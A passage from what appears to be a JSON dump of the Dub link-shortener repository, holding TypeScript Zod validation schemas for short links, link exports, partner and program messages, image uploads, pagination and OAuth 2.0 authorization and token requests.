\"Clicks\",\n    default: true,\n    transform: (value: unknown) => Number(value ?? 0),\n  },\n  {\n    id: \"leads\",\n    label: \"Leads\",\n    default: false,\n    transform: (value: unknown) => Number(value ?? 0),\n  },\n  {\n    id: \"conversions\",\n    label: \"Conversions\",\n    default: false,\n    transform: (value: unknown) => Number(value ?? 0),\n  },\n  {\n    id: \"saleAmount\",\n    label: \"Revenue\",\n    default: false,\n    transform: (value: unknown) => Number(value ?? 0),\n  },\n  {\n    id: \"createdAt\",\n    label: \"Created at\",\n    default: true,\n    transform: (value: unknown) =>\n      value instanceof Date ? value.toISOString() : \"\",\n  },\n  {\n    id: \"id\",\n    label: \"Link ID\",\n    default: false,\n    transform: (value: unknown) => String(value ?? \"\"),\n  },\n  {\n    id: \"updatedAt\",\n    label: \"Updated at\",\n    default: false,\n    transform: (value: unknown) =>\n      value instanceof Date ? value.toISOString() : \"\",\n  },\n  {\n    id: \"tags\",\n    label: \"Tags\",\n    default: false,\n    transform: (value: unknown) =>\n      Array.isArray(value) ? value.join(\", \") : String(value ?? \"\"),\n  },\n  {\n    id: \"archived\",\n    label: \"Archived\",\n    default: false,\n    transform: (value: unknown) => (value === 1 ? \"Yes\" : \"No\"),\n  },\n] as const;\n\nexport type ExportLinksColumn = (typeof exportLinksColumns)[number];\n\nexport const exportLinksColumnsDefault = exportLinksColumns\n  .filter((column) => column.default)\n  .map((column) => column.id);\n\nexport const linksExportQuerySchema = getLinksQuerySchemaBase\n  .omit({ page: true, pageSize: true })\n  .extend({\n    columns: z\n      .string()\n      .default(exportLinksColumnsDefault.join(\",\"))\n      .transform((v) => v.split(\",\"))\n      .describe(\"The columns to export.\"),\n    start: parseDateSchema\n      .refine((value: Date) => value >= DUB_FOUNDING_DATE, {\n        message: `The start date cannot be earlier than ${formatDate(DUB_FOUNDING_DATE)}.`,\n      })\n      .optional()\n      .describe(\"The start date of creation to retrieve links from.\"),\n    end: parseDateSchema\n      .describe(\"The end date of creation to retrieve links from.\")\n      .optional(),\n    interval: z.string().optional().describe(\"The interval for the export.\"),\n  });\n\nexport const domainKeySchema = z.object({\n  domain: z\n    .string()\n    .min(1, \"Domain is required.\")\n    .describe(\n      \"The domain of the link to retrieve. E.g. for `d.to/github`, the domain is `d.to`.\",\n    )\n    .refine((v) => validDomainRegex.test(v), {\n      message: \"Invalid domain format\",\n    }),\n  key: z\n    .string()\n    .min(1, \"Key is required.\")\n    .describe(\n      \"The key of the link to retrieve. E.g. for `d.to/github`, the key is `github`.\",\n    ),\n});\n\nexport const createLinkBodySchema = z.object({\n  url: parseUrlSchemaAllowEmpty()\n    .describe(\"The destination URL of the short link.\")\n    .meta({\n      example: \"https://google.com\",\n      maxLength: DESTINATION_URL_MAX_LENGTH,\n    }),\n  domain: z\n    .string()\n    .max(190)\n    .optional()\n    .describe(\n      \"The domain of the short link (without protocol). If not provided, the primary domain for the workspace will be used (or `dub.sh` if the workspace has no domains).\",\n    ),\n  key: z\n    .string()\n    .max(190)\n    .optional()\n    .describe(\n      \"The short link slug. If not provided, a random 7-character slug will be generated.\",\n    ),\n  keyLength: z\n    .number()\n    .min(3)\n    .max(190)\n    .optional()\n    .describe(\n      \"The length of the short link slug. Defaults to 7 if not provided. When used with `prefix`, the total length of the key will be `prefix.length + keyLength`.\",\n    ),\n  externalId: z\n    .string()\n    .min(1)\n    .max(255)\n    // remove `ext_` prefix if user passes it\n    .transform((v) => (v?.startsWith(\"ext_\") ? v.slice(4) : v))\n    .nullish()\n    .describe(\n      \"The ID of the link in your database. If set, it can be used to identify the link in future API requests (must be prefixed with 'ext_' when passed as a query parameter). This key is unique across your workspace.\",\n    )\n    .meta({ example: \"123456\" }),\n  tenantId: z\n    .string()\n    .max(255)\n    .nullish()\n    .describe(\n      \"The ID of the tenant that created the link inside your system. If set, it can be used to fetch all links for a tenant.\",\n    ),\n  programId: z\n    .string()\n    .nullish()\n    .describe(\"The ID of the program the short link is associated with.\"),\n  partnerId: z\n    .string()\n    .nullish()\n    .describe(\"The ID of the partner the short link is associated with.\"),\n  prefix: z\n    .string()\n    .optional()\n    .describe(\n      \"The prefix of the short link slug for randomly-generated keys (e.g. if prefix is `/c/`, generated keys will be in the `/c/:key` format). Will be ignored if `key` is provided.\",\n    ),\n  trackConversion: z\n    .boolean()\n    .optional()\n    .describe(\n      \"Whether to track conversions for the short link. Defaults to `false` if not provided.\",\n    ),\n  archived: z\n    .boolean()\n    .optional()\n    .describe(\n      \"Whether the short link is archived. Defaults to `false` if not provided.\",\n    ),\n  tagIds: z\n    .union([z.string(), z.array(z.string())])\n    .transform((v) => (Array.isArray(v) ? v : v.split(\",\")))\n    .optional()\n    .describe(\"The unique IDs of the tags assigned to the short link.\")\n    .meta({ example: [\"clux0rgak00011...\"] }),\n  tagNames: z\n    .union([z.string(), z.array(z.string())])\n    .transform((v) => (Array.isArray(v) ? v : v.split(\",\")))\n    .optional()\n    .describe(\n      \"The unique name of the tags assigned to the short link (case insensitive).\",\n    ),\n  folderId: z\n    .string()\n    .transform((v) => (v === \"\" ? null : v))\n    .nullish()\n    .describe(\"The unique ID existing folder to assign the short link to.\"),\n  comments: z.string().nullish().describe(\"The comments for the short link.\"),\n  expiresAt: z\n    .string()\n    .nullish()\n    .describe(\"The date and time when the short link will expire at.\"),\n  expiredUrl: parseUrlSchema\n    .nullish()\n    .describe(\"The URL to redirect to when the short link has expired.\")\n    .meta({\n      maxLength: DESTINATION_URL_MAX_LENGTH,\n    }),\n  password: z\n    .string()\n    .nullish()\n    .describe(\n      \"The password required to access the destination URL of the short link.\",\n    ),\n  proxy: z\n    .boolean()\n    .optional()\n    .describe(\n      \"Whether the short link uses Custom Link Previews feature. Defaults to `false` if not provided.\",\n    ),\n  title: z\n    .string()\n    .nullish()\n    .describe(\n      \"The custom link preview title (og:title). Will be used for Custom Link Previews if `proxy` is true. Learn more: https://d.to/og\",\n    ),\n  description: z\n    .string()\n    .nullish()\n    .describe(\n      \"The custom link preview description (og:description). Will be used for Custom Link Previews if `proxy` is true. Learn more: https://d.to/og\",\n    ),\n  image: z\n    .string()\n    .nullish()\n    .describe(\n      \"The custom link preview image (og:image). Will be used for Custom Link Previews if `proxy` is true. Learn more: https://d.to/og\",\n    ),\n  video: z\n    .string()\n    .nullish()\n    .describe(\n      \"The custom link preview video (og:video). Will be used for Custom Link Previews if `proxy` is true. Learn more: https://d.to/og\",\n    ),\n  rewrite: z\n    .boolean()\n    .optional()\n    .describe(\n      \"Whether the short link uses link cloaking. Defaults to `false` if not provided.\",\n    ),\n  ios: parseUrlSchema\n    .nullish()\n    .describe(\n      \"The iOS destination URL for the short link for iOS device targeting.\",\n    ),\n  android: parseUrlSchema\n    .nullish()\n    .describe(\n      \"The Android destination URL for the short link for Android device targeting.\",\n    ),\n  geo: z\n    .record(z.string(), parseUrlSchema)\n    .nullish()\n    .describe(\n      \"Geo targeting information for the short link in JSON format `{[COUNTRY]: https://example.com }`. See https://d.to/geo for more information.\",\n    )\n    .meta({ id: \"linkGeoTargeting\" }),\n  doIndex: z\n    .boolean()\n    .optional()\n    .describe(\n      \"Allow search engines to index your short link. Defaults to `false` if not provided. Learn more: https://d.to/noindex\",\n    ),\n  utm_source: z\n    .string()\n    .transform((v) => (v === \"\" ? null : v))\n    .nullish()\n    .describe(\n      \"The UTM source of the short link. If set, this will populate or override the UTM source in the destination URL.\",\n    ),\n  utm_medium: z\n    .string()\n    .transform((v) => (v === \"\" ? null : v))\n    .nullish()\n    .describe(\n      \"The UTM medium of the short link. If set, this will populate or override the UTM medium in the destination URL.\",\n    ),\n  utm_campaign: z\n    .string()\n    .transform((v) => (v === \"\" ? null : v))\n    .nullish()\n    .describe(\n      \"The UTM campaign of the short link. If set, this will populate or override the UTM campaign in the destination URL.\",\n    ),\n  utm_term: z\n    .string()\n    .transform((v) => (v === \"\" ? null : v))\n    .nullish()\n    .describe(\n      \"The UTM term of the short link. If set, this will populate or override the UTM term in the destination URL.\",\n    ),\n  utm_content: z\n    .string()\n    .transform((v) => (v === \"\" ? null : v))\n    .nullish()\n    .describe(\n      \"The UTM content of the short link. If set, this will populate or override the UTM content in the destination URL.\",\n    ),\n  ref: z\n    .string()\n    .transform((v) => (v === \"\" ? null : v))\n    .nullish()\n    .describe(\n      \"The referral tag of the short link. If set, this will populate or override the `ref` query parameter in the destination URL.\",\n    ),\n  webhookIds: z\n    .array(z.string())\n    .nullish()\n    .describe(\n      \"An array of webhook IDs to trigger when the link is clicked. These webhooks will receive click event data.\",\n    ),\n  testVariants: ABTestVariantsSchema.nullish(),\n  testStartedAt: z\n    .string()\n    .nullish()\n    .describe(\"The date and time when the tests started.\"),\n  testCompletedAt: z\n    .string()\n    .nullish()\n    .describe(\"The date and time when the tests were or will be completed.\"),\n\n  // deprecated fields\n  publicStats: z\n    .boolean()\n    .optional()\n    .describe(\n      \"Deprecated: Use `dashboard` instead. Whether the short link's stats are publicly accessible. Defaults to `false` if not provided.\",\n    )\n    .meta({ deprecated: true }),\n  tagId: z\n    .string()\n    .nullish()\n    .describe(\n      \"Deprecated: Use `tagIds` instead. The unique ID of the tag assigned to the short link.\",\n    )\n    .meta({ deprecated: true }),\n});\n\nexport const createLinkBodySchemaAsync = createLinkBodySchema.extend({\n  image: z.union([base64ImageSchema, publicHostedImageSchema]).nullish(),\n});\n\nexport const updateLinkBodySchema = createLinkBodySchemaAsync\n  .omit({ keyLength: true, prefix: true })\n  .partial();\n\nexport const updateLinkBodySchemaExtended = updateLinkBodySchema.extend({\n  linkRetentionCleanupDisabledAt: z.string().nullish(),\n});\n\nexport const bulkCreateLinksBodySchema = z\n  .array(createLinkBodySchema)\n  .min(1, \"No links created – you must provide at least one link.\")\n  .max(100, \"You can only create up to 100 links at a time.\");\n\nexport const bulkUpdateLinksBodySchema = z.object({\n  linkIds: z\n    .array(z.string())\n    .describe(\n      \"The IDs of the links to update. Takes precedence over `externalIds`.\",\n    )\n    .max(100, \"You can only update up to 100 links at a time.\")\n    .default([]),\n  externalIds: z\n    .array(z.string())\n    .describe(\n      \"The external IDs of the links to update as stored in your database.\",\n    )\n    .max(100, \"You can only update up to 100 links at a time.\")\n    .refine((v) => v.map((id) => id.replace(\"ext_\", \"\")))\n    .default([]),\n  data: createLinkBodySchema\n    .omit({\n      domain: true,\n      key: true,\n      externalId: true,\n      keyLength: true,\n      prefix: true,\n    })\n    .extend({\n      url: parseUrlSchema\n        .describe(\"The destination URL of the short link.\")\n        .meta({\n          example: \"https://google.com\",\n        })\n        .optional(),\n    }),\n});\n\nexport const LinkSchema = z\n  .object({\n    id: z.string().describe(\"The unique ID of the short link.\"),\n    domain: z\n      .string()\n      .describe(\n        \"The domain of the short link. If not provided, the primary domain for the workspace will be used (or `dub.sh` if the workspace has no domains).\",\n      ),\n    key: z\n      .string()\n      .describe(\n        \"The short link slug. If not provided, a random 7-character slug will be generated.\",\n      ),\n    url: z.url().describe(\"The destination URL of the short link.\"),\n    trackConversion: z\n      .boolean()\n      .default(false)\n      .describe(\"Whether to track conversions for the short link.\"),\n    externalId: z\n      .string()\n      .nullable()\n      .describe(\n        \"The ID of the link in your database. If set, it can be used to identify the link in future API requests (must be prefixed with 'ext_' when passed as a query parameter). This key is unique across your workspace.\",\n      ),\n    tenantId: z\n      .string()\n      .nullable()\n      .describe(\n        \"The ID of the tenant that created the link inside your system. If set, it can be used to fetch all links for a tenant.\",\n      ),\n    programId: z\n      .string()\n      .nullable()\n      .describe(\"The ID of the program the short link is associated with.\"),\n    partnerId: z\n      .string()\n      .nullable()\n      .describe(\"The ID of the partner the short link is associated with.\"),\n    archived: z\n      .boolean()\n      .default(false)\n      .describe(\"Whether the short link is archived.\"),\n    expiresAt: z\n      .string()\n      .nullable()\n      .describe(\n        \"The date and time when the short link will expire in ISO-8601 format.\",\n      ),\n    expiredUrl: z\n      .url()\n      .nullable()\n      .describe(\"The URL to redirect to when the short link has expired.\"),\n    disabledAt: z\n      .string()\n      .nullable()\n      .describe(\n        \"The date and time when the short link was disabled. When a short link is disabled, it will redirect to its domain's not found URL, and its stats will be excluded from your overall stats.\",\n      ),\n    password: z\n      .string()\n      .nullable()\n      .describe(\n        \"The password required to access the destination URL of the short link.\",\n      ),\n    proxy: z\n      .boolean()\n      .default(false)\n      .describe(\"Whether the short link uses Custom Link Previews feature.\"),\n    title: z\n      .string()\n      .nullable()\n      .describe(\n        \"The title of the short link. Will be used for Custom Link Previews if `proxy` is true.\",\n      ),\n    description: z\n      .string()\n      .nullable()\n      .describe(\n        \"The description of the short link. Will be used for Custom Link Previews if `proxy` is true.\",\n      ),\n    image: z\n      .string()\n      .nullable()\n      .describe(\n        \"The image of the short link. Will be used for Custom Link Previews if `proxy` is true.\",\n      ),\n    video: z\n      .string()\n      .nullable()\n      .describe(\n        \"The custom link preview video (og:video). Will be used for Custom Link Previews if `proxy` is true. Learn more: https://d.to/og\",\n      ),\n    rewrite: z\n      .boolean()\n      .default(false)\n      .describe(\"Whether the short link uses link cloaking.\"),\n    doIndex: z\n      .boolean()\n      .default(false)\n      .describe(\"Whether to allow search engines to index the short link.\"),\n    ios: z\n      .string()\n      .nullable()\n      .describe(\n        \"The iOS destination URL for the short link for iOS device targeting.\",\n      ),\n    android: z\n      .string()\n      .nullable()\n      .describe(\n        \"The Android destination URL for the short link for Android device targeting.\",\n      ),\n    geo: z\n      .record(z.string(), z.url())\n      .nullable()\n      .describe(\n        \"Geo targeting information for the short link in JSON format `{[COUNTRY]: https://example.com }`. See https://d.to/geo for more information.\",\n      ),\n    publicStats: z\n      .boolean()\n      .default(false)\n      .describe(\"Whether the short link's stats are publicly accessible.\"),\n    tags: LinkTagSchema.array()\n      .nullable()\n      .describe(\"The tags assigned to the short link.\"),\n    folderId: z\n      .string()\n      .nullable()\n      .describe(\"The unique ID of the folder assigned to the short link.\"),\n    webhookIds: z\n      .array(z.string())\n      .describe(\n        \"The IDs of the webhooks that the short link is associated with.\",\n      ),\n    comments: z\n      .string()\n      .nullable()\n      .describe(\"The comments for the short link.\"),\n    shortLink: z\n      .url()\n      .describe(\n        \"The full URL of the short link, including the https protocol (e.g. `https://dub.sh/try`).\",\n      ),\n    qrCode: z\n      .url()\n      .describe(\n        \"The full URL of the QR code for the short link (e.g. `https://api.dub.co/qr?url=https://dub.sh/try`).\",\n      ),\n    utm_source: z\n      .string()\n      .nullable()\n      .describe(\"The UTM source of the short link.\"),\n    utm_medium: z\n      .string()\n      .nullable()\n      .describe(\"The UTM medium of the short link.\"),\n    utm_campaign: z\n      .string()\n      .nullable()\n      .describe(\"The UTM campaign of the short link.\"),\n    utm_term: z.string().nullable().describe(\"The UTM term of the short link.\"),\n    utm_content: z\n      .string()\n      .nullable()\n      .describe(\"The UTM content of the short link.\"),\n    testVariants: ABTestVariantsSchema.nullish(),\n    testStartedAt: z\n      .string()\n      .nullish()\n      .describe(\"The date and time when the tests started.\"),\n    testCompletedAt: z\n      .string()\n      .nullish()\n      .describe(\"The date and time when the tests were or will be completed.\"),\n    userId: z\n      .string()\n      .nullable()\n      .describe(\"The user ID of the creator of the short link.\"),\n    workspaceId: z.string().describe(\"The workspace ID of the short link.\"),\n    clicks: z\n      .number()\n      .default(0)\n      .describe(\"The number of clicks on the short link.\"),\n    leads: z\n      .number()\n      .default(0)\n      .describe(\"The number of leads the short link has generated.\"),\n    conversions: z\n      .number()\n      .default(0)\n      .describe(\"The number of leads that converted to paying customers.\"),\n    sales: z\n      .number()\n      .default(0)\n      .describe(\n        \"The total number of sales (includes recurring sales) generated by the short link.\",\n      ),\n    saleAmount: centsSchemaWithDefault.describe(\n      \"The total dollar value of sales (in cents) generated by the short link.\",\n    ),\n    lastClicked: z\n      .string()\n      .nullable()\n      .describe(\"The date and time when the short link was last clicked.\"),\n    createdAt: z\n      .string()\n      .describe(\"The date and time when the short link was created.\"),\n    updatedAt: z\n      .string()\n      .describe(\"The date and time when the short link was last updated.\"),\n\n    // deprecated fields\n    tagId: z\n      .string()\n      .nullable()\n      .describe(\n        \"Deprecated: Use `tags` instead. The unique ID of the tag assigned to the short link.\",\n      )\n      .meta({ deprecated: true }),\n    projectId: z\n      .string()\n      .describe(\n        \"Deprecated: Use `workspaceId` instead. The project ID of the short link.\",\n      )\n      .meta({ deprecated: true }),\n  })\n  .meta({ title: \"Link\" });\n\nexport const LinkErrorSchema = z\n  .object({\n    link: z.any().describe(\"The link that caused the error.\"),\n    error: z.string().describe(\"The error message.\"),\n    code: ErrorCode.describe(\"The error code.\"),\n  })\n  .meta({ title: \"LinkError\" });\n\nexport const getLinkInfoQuerySchema = domainKeySchema.partial().extend({\n  linkId: z\n    .string()\n    .optional()\n    .describe(\"The unique ID of the short link.\")\n    .meta({ example: \"clux0rgak00011...\" }),\n  externalId: z\n    .string()\n    .optional()\n    .describe(\"This is the ID of the link in the your database.\")\n    .meta({ example: \"123456\" }),\n});\n\nexport const getLinksQuerySchemaExtended = getLinksQuerySchemaBase.extend({\n  // Only Dub UI uses the following query parameters\n  includeUser: booleanQuerySchema.default(false),\n  includeWebhooks: booleanQuerySchema.default(false),\n  includeDashboard: booleanQuerySchema.default(false),\n  linkIds: z\n    .union([z.string(), z.array(z.string())])\n    .transform((v) => (Array.isArray(v) ? v : v.split(\",\")))\n    .optional()\n    .describe(\"Link IDs to filter by.\"),\n  partnerId: z.string().optional().describe(\"Partner ID to filter by.\"),\n  searchMode: z\n    .enum([\"fuzzy\", \"exact\"])\n    .default(\"fuzzy\")\n    .describe(\"Search mode to filter by.\"),\n});\n\nexport const getLinkInfoQuerySchemaExtended = getLinkInfoQuerySchema.extend({\n  includeUser: booleanQuerySchema.default(false),\n  includeWebhooks: booleanQuerySchema.default(false),\n});\n\nexport const linkEventSchema = LinkSchema.extend({\n  // here we use string because url can be empty\n  url: z.string(),\n  expiredUrl: z.string().nullable(),\n  // coerce boolean fields\n  archived: z.coerce.boolean(),\n  doIndex: z.coerce.boolean(),\n  proxy: z.coerce.boolean(),\n  publicStats: z.coerce.boolean(),\n  rewrite: z.coerce.boolean(),\n  trackConversion: z.coerce.boolean(),\n  // coerce date fields\n  createdAt: z.coerce.date(),\n  updatedAt: z.coerce.date(),\n  lastClicked: z.coerce.date(),\n  expiresAt: z.coerce.date(),\n  disabledAt: z.coerce.date(),\n  testCompletedAt: z.coerce.date(),\n  testStartedAt: z.coerce.date(),\n  // userId can be null\n  userId: z.string().nullable(),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/messages.ts",
    "content": "import { MessageType } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { PartnerSchema } from \"./partners\";\nimport { ProgramSchema } from \"./programs\";\nimport { UserSchema } from \"./users\";\n\nexport const MAX_MESSAGE_LENGTH = 2000;\n\nconst messageTextSchema = z.string().min(1);\n\nexport const MessageSchema = z.object({\n  id: z.string(),\n  programId: z.string(),\n  partnerId: z.string(),\n  senderPartnerId: z.string().nullable(),\n  senderUserId: z.string(),\n  text: messageTextSchema,\n  subject: z.string().nullable(),\n  type: z.enum(MessageType),\n  readInApp: z.date().nullable(),\n  readInEmail: z.date().nullable(),\n  createdAt: z.date(),\n  updatedAt: z.date(),\n  senderPartner: PartnerSchema.pick({\n    id: true,\n    name: true,\n    image: true,\n  }).nullable(),\n  senderUser: UserSchema.pick({\n    id: true,\n    name: true,\n    image: true,\n  }).nullable(),\n});\n\nexport const PartnerMessagesSchema = z.array(\n  z.object({\n    partner: PartnerSchema.pick({\n      id: true,\n      name: true,\n      image: true,\n    }),\n    messages: z.array(MessageSchema),\n  }),\n);\n\nexport const getPartnerMessagesQuerySchema = z.object({\n  partnerId: z.string().optional(),\n  messagesLimit: z.coerce.number().min(0).optional(),\n  sortBy: z.enum([\"createdAt\"]).default(\"createdAt\"),\n  sortOrder: z.enum([\"asc\", \"desc\"]).default(\"desc\"),\n});\n\nexport const countMessagesQuerySchema = z.object({\n  unread: z.coerce.boolean().optional(),\n});\n\nexport const messagePartnerSchema = z.object({\n  partnerId: z.string(),\n  text: messageTextSchema.max(MAX_MESSAGE_LENGTH),\n});\n\nexport const ProgramMessagesSchema = z.array(\n  z.object({\n    program: ProgramSchema.pick({\n      id: true,\n      slug: true,\n      name: true,\n      logo: true,\n      messagingEnabledAt: true,\n    }),\n    messages: z.array(MessageSchema),\n  }),\n);\n\nexport const getProgramMessagesQuerySchema = z.object({\n  programSlug: z.string().optional(),\n  messagesLimit: z.coerce.number().min(0).optional(),\n  sortBy: z.enum([\"createdAt\"]).default(\"createdAt\"),\n  sortOrder: z.enum([\"asc\", \"desc\"]).default(\"desc\"),\n});\n\nexport const messageProgramSchema = z.object({\n  programSlug: z.string(),\n  text: messageTextSchema.max(MAX_MESSAGE_LENGTH),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/misc.ts",
    "content": "import { plans } from \"@/lib/types\";\nimport { WorkspaceRole } from \"@dub/prisma/client\";\nimport { GOOGLE_FAVICON_URL, R2_URL } from \"@dub/utils\";\nimport { fileTypeFromBuffer } from \"file-type\";\nimport * as z from \"zod/v4\";\n\nexport const RECURRING_MAX_DURATIONS = [0, 1, 3, 6, 12, 18, 24, 36, 48];\n\nexport const planSchema = z.enum(plans).describe(\"The plan of the workspace.\");\n\nexport const roleSchema = z\n  .enum(WorkspaceRole)\n  .describe(\"The role of the authenticated user in the workspace.\");\n\nconst allowedImageTypes = [\n  \"image/png\",\n  \"image/jpeg\",\n  \"image/jpg\",\n  \"image/gif\",\n  \"image/webp\",\n];\n\nexport const booleanQuerySchema = z\n  .stringbool({\n    truthy: [\"true\"],\n    falsy: [\"false\"],\n  })\n  .meta({\n    type: \"boolean\",\n  });\n\n// Pagination\nexport const getPaginationQuerySchema = ({\n  pageSize,\n  deprecated = false,\n}: {\n  pageSize: number;\n  deprecated?: boolean;\n}) => ({\n  page: z.coerce\n    .number({ error: \"Page must be a number.\" })\n    .positive({ message: \"Page must be greater than 0.\" })\n    .optional()\n    .describe(\n      deprecated\n        ? \"DEPRECATED. Use `startingAfter` instead.\"\n        : \"The page number for pagination.\",\n    )\n    .meta({\n      example: 1,\n      deprecated,\n    }),\n  pageSize: z.coerce\n    .number({ error: \"Page size must be a number.\" })\n    .positive({ message: \"Page size must be greater than 0.\" })\n    .max(pageSize, {\n      message: `Max page size is ${pageSize}.`,\n    })\n    .optional()\n    .default(pageSize)\n    .describe(\"The number of items per page.\")\n    .meta({\n      example: 50,\n    }),\n});\n\n// Cursor-based pagination\nexport const getCursorPaginationQuerySchema = ({\n  example,\n}: {\n  example: string;\n}) => ({\n  endingBefore: z\n    .string()\n    .optional()\n    .describe(\n      \"If specified, the query only searches for results before this cursor. Mutually exclusive with `startingAfter`.\",\n    )\n    .meta({\n      example,\n    }),\n  startingAfter: z\n    .string()\n    .optional()\n    .describe(\n      \"If specified, the query only searches for results after this cursor. Mutually exclusive with `endingBefore`.\",\n    )\n    .meta({\n      example,\n    }),\n});\n\nexport const maxDurationSchema = z.coerce\n  .number()\n  .refine((val) => RECURRING_MAX_DURATIONS.includes(val), {\n    message: `Max duration must be ${RECURRING_MAX_DURATIONS.join(\", \")}`,\n  })\n  .nullish();\n\n// Base64 encoded image\nexport const base64ImageSchema = z\n  .string()\n  .trim()\n  .regex(/^data:image\\/(png|jpeg|jpg|gif|webp);base64,/, {\n    message: \"Invalid image format, supports only png, jpeg, jpg, gif, webp.\",\n  })\n  .refine(\n    async (str) => {\n      const base64Data = str.split(\",\")[1];\n\n      if (!base64Data) {\n        return false;\n      }\n\n      try {\n        const buffer = new Uint8Array(Buffer.from(base64Data, \"base64\"));\n        const fileType = await fileTypeFromBuffer(buffer);\n\n        return fileType && allowedImageTypes.includes(fileType.mime);\n      } catch (e) {\n        return false;\n      }\n    },\n    {\n      message: \"Invalid image format, supports only png, jpeg, jpg, gif, webp.\",\n    },\n  )\n  .transform((v) => v || null);\n\n// Base64 encoded raster image or SVG\nexport const base64ImageAllowSVGSchema = z\n  .string()\n  .trim()\n  .regex(/^data:image\\/(png|jpeg|jpg|gif|webp|svg\\+xml);base64,/, {\n    message:\n      \"Invalid image format, supports only png, jpeg, jpg, gif, webp, svg.\",\n  })\n  .transform((v) => v || null);\n\nexport const storedR2ImageUrlSchema = z\n  .url()\n  .trim()\n  .refine((url) => url.startsWith(R2_URL), {\n    message: `URL must start with ${R2_URL}`,\n  });\n\n// Google user content URL schema - supports URLs like https://lh3.googleusercontent.com/...\n// This is needed when users sign up via Google OAuth and want to use their Google profile image\n// as their workspace logo or avatar\nexport const googleUserContentUrlSchema = z\n  .url()\n  .trim()\n  .refine((url) => url.startsWith(\"https://lh3.googleusercontent.com/\"), {\n    message: \"Image URL must be a valid Google user content URL\",\n  });\n\n// Google favicon URL schema - supports URLs starting with GOOGLE_FAVICON_URL\nexport const googleFaviconUrlSchema = z\n  .url()\n  .trim()\n  .refine((url) => url.startsWith(GOOGLE_FAVICON_URL), {\n    message: `Image URL must start with ${GOOGLE_FAVICON_URL}`,\n  });\n\n// Uploaded image could be any of the following:\n// - Base64 encoded image\n// - R2_URL\n// - Special case for GOOGLE_FAVICON_URL\n// - Google user content URLs (e.g., https://lh3.googleusercontent.com/...)\n// This schema contains an async refinement check for base64 image validation,\n// which requires using parseAsync() instead of parse() when validating\nexport const uploadedImageSchema = z\n  .union([base64ImageSchema, storedR2ImageUrlSchema, googleFaviconUrlSchema])\n  .transform((v) => v || null);\n\n// Base64 encoded image/SVG or R2_URL\n// This schema contains an async refinement check for base64 image validation,\n// which requires using parseAsync() instead of parse() when validating\nexport const uploadedImageAllowSVGSchema = z\n  .union([base64ImageAllowSVGSchema, storedR2ImageUrlSchema])\n  .transform((v) => v || null);\n\nexport const publicHostedImageSchema = z\n  .url()\n  .trim()\n  .refine((url) => url.startsWith(\"http://\") || url.startsWith(\"https://\"), {\n    message: \"Image URL must start with http:// or https://\",\n  });\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/oauth.ts",
    "content": "import { OAUTH_SCOPES } from \"@/lib/api/oauth/constants\";\nimport * as z from \"zod/v4\";\nimport { createIntegrationSchema, integrationSchema } from \"./integration\";\n\nexport const oAuthAppSchema = integrationSchema.extend({\n  clientId: z.string(),\n  partialClientSecret: z.string(),\n  redirectUris: z.array(z.string()),\n  pkce: z.boolean(),\n});\n\nexport const createOAuthAppSchema = createIntegrationSchema.extend({\n  redirectUris: z\n    .string()\n    .array()\n    .min(1, {\n      message: \"At least one redirect URI is required\",\n    })\n    .max(5, {\n      message: \"only 5 redirect URIs are allowed\",\n    })\n    .transform((urls) => urls.filter((url) => url.trim().length > 0))\n    .refine(\n      (urls) => {\n        return urls.every((url) => /^(https?:\\/\\/)/i.test(url));\n      },\n      {\n        message:\n          \"redirect_uri must be a valid URL starting with 'https://' or 'http://'\",\n      },\n    ),\n  pkce: z.boolean().default(false),\n});\n\nexport const updateOAuthAppSchema = createOAuthAppSchema.partial();\n\n// Schema for OAuth2.0 Authorization request\nexport const authorizeRequestSchema = z.object({\n  client_id: z.string().min(1, \"Missing client_id\"),\n  redirect_uri: z.url({ message: \"redirect_uri must be a valid URL\" }),\n  response_type: z.string().refine((responseType) => responseType === \"code\", {\n    message: \"response_type must be 'code'\",\n  }),\n  state: z.string().max(1024).optional(),\n  scope: z\n    .string()\n    .nullish()\n    .transform((scope) => {\n      // split by comma or space or plus sign\n      let scopes = [...new Set((scope ?? \"\").split(/[,\\s+]/).filter(Boolean))];\n\n      if (!scopes.includes(\"user.read\")) {\n        scopes.push(\"user.read\");\n      }\n\n      // remove workspaces.read and write\n      // We can remove this filter after existing integrations are updated\n      // Doing this to prevent zod throwing an error when the scopes are invalid\n      scopes = scopes.filter((scope) => !scope.startsWith(\"workspaces.\"));\n\n      return scopes;\n    })\n    .refine((scopes) => scopes.every((scope) => OAUTH_SCOPES.includes(scope)), {\n      message: \"One or more provided OAuth scopes are invalid or unsupported.\",\n    }),\n  code_challenge: z.string().max(190).optional(),\n  code_challenge_method: z\n    .string()\n    .refine((method) => method === \"S256\", {\n      message: \"code_challenge_method must be 'S256'\",\n    })\n    .optional(),\n});\n\n// Schema for OAuth2.0 code exchange request\nexport const authCodeExchangeSchema = z.object({\n  grant_type: z.literal(\"authorization_code\"),\n  client_id: z.string().optional(),\n  client_secret: z.string().optional(),\n  code: z.string().min(1, \"Missing code\"),\n  redirect_uri: z.url({ message: \"redirect_uri must be a valid URL\" }),\n  code_verifier: z.string().max(190).optional(),\n});\n\n// Schema for OAuth2.0 token refresh request\nexport const refreshTokenSchema = z.object({\n  grant_type: z.literal(\"refresh_token\"),\n  client_id: z.string().optional(),\n  client_secret: z.string().optional(),\n  refresh_token: z.string().min(1, \"Missing refresh_token\"),\n});\n\n// Token grant schema\nexport const tokenGrantSchema = z.discriminatedUnion(\n  \"grant_type\",\n  [authCodeExchangeSchema, refreshTokenSchema],\n  {\n    error: () => ({\n      message: \"grant_type must be 'authorization_code' or 'refresh_token'\",\n    }),\n  },\n);\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/opens.ts",
